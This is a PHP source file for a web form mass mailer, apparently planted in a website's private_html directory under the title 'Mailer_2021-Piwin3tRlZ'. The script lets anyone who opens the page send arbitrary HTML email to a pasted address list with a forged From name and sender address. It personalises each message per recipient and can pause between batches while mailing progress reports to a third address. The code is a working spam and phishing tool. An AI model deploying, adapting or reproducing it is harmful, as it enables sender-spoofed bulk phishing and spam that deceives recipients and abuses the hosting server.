File: /home/wbwebdes/domains/cdn.wb-webdesign.com/private_html/autoenvio.php
<?php
@set_time_limit(0);
// 1. Inicialización de valores por defecto
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"] ?? 'Sin Asunto';
$nombre = "postales";
$de = "[email protected]";
$ellos = "[email protected]";
// 2. Si se presiona el botón de enviar
if(isset($_POST['Enoc'])) {
$message = $_POST['html'] ?? '';
$subject = $_POST['assunto'] ?? '';
$de = $_POST['de'] ?? '';
$nombre = $_POST['RealName'] ?? '';
$ellos = $_POST['ellos'] ?? '';
// Limpieza de barras invertidas que PHP añade a veces
$message = stripslashes($message);
}
?>
<html>
<head>
<title>Mailer_2021-Piwin3tRlZ</title>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br>
<table width="534" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
<tr>
<td>
<table border="0" bgcolor="#FFFFFF" width="100%">
<tr>
<td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
<td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>Asunto: <input name="assunto" type="text" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td>
</tr>
<tr><td height="18" bgcolor="#C0C0C0"></td></tr>
<tr>
<td>
<table border="0" width="100%">
<tr>
<!-- Aquí se mantiene el código fuente HTML visible -->
<td><textarea name="html" cols="66" rows="10"><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea name="ellos" cols="35" rows="10"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
</table>
</td>
</tr>
<tr>
<td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>
<?php
// --- LÓGICA DE ENVÍO ---
if(isset($_POST['Enoc'])) {
$separator = (isset($_GET['c'])) ? "," : "\n";
$emails = array_filter(array_map('trim', explode($separator, $ellos)));
$son = count($emails);
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1\r\n";
$header .= "From: $nombre <$de>\r\n";
$header .= "Reply-To: $de\r\n";
$i = 0;
$voy = 1;
foreach($emails as $email) {
// Auto-envío de notificación (si está configurado por URL)
if(isset($_GET['time'], $_GET['cant'], $_GET['notf'])) {
if($i > 0 && ($i % (int)$_GET['cant']) == 0) {
echo "----------------------------------> Espere " . (int)$_GET['time'] . " segs. Notificando...<br>";
flush();
@mail($_GET['notf'], "Reporte", "Enviados: $voy", $header);
sleep((int)$_GET['time']);
}
}
$mail_destino = trim($email);
$final_message = str_replace('%email%', $mail_destino, $message);
if(@mail($mail_destino, $subject, $final_message, $header)) {
echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail_destino Enviado!</font><br>";
} else {
echo "<font color=red face=verdana size=1> $voy de $son :-( $mail_destino Error!</font><br>";
}
flush();
$i++;
$voy++;
}
echo "<script>alert('--- Proceso terminado ---');</script>";
}
?>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</center>
</body>
</html>